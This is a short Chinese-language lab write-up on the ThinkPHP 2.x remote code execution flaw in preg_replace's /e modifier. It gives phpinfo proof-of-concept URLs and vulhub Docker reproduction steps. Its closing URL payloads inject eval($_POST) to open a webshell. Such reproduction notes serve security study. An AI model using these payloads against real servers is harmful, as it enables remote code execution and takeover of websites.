目录
漏洞详情
使用了危险函数:preg_replace的/e模式匹配路由: preg_replace 函数执行一个正则表达式的搜索和替换。
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject )
preg_replace(‘正则规则’,‘替换字符’,‘目标字符’)
$pattern: 要搜索的模式,可以是字符串或一个字符串数组。
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。
如果目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了/e这个修饰符,则存在代码执行漏洞。
漏洞影响版本
ThinkPHP 2.x
漏洞利用
?index.php/module/aciton/param1/${@phpinfo()}
?s=/Index/index/L/${@phpinfo()}
漏洞复现
进入vulhub/thinkphp/2-rce
然后
拉取环境
systemctl start docker
systemctl stop firewalld.service
docker-compose up -d
docker inspect 容器ID
查看docker搭建的ip地址
Ipaddress:172.23.0.2
火狐打开
输入poc
?s=/index/index/name/${@phpinfo()}
复现成功
?index.php/module/aciton/param1/${@print(eval($_POST['123']))}
?s=/Index/index/L/${@print(eval($_POST['1']))}
两种方法都可以成功连接到shell。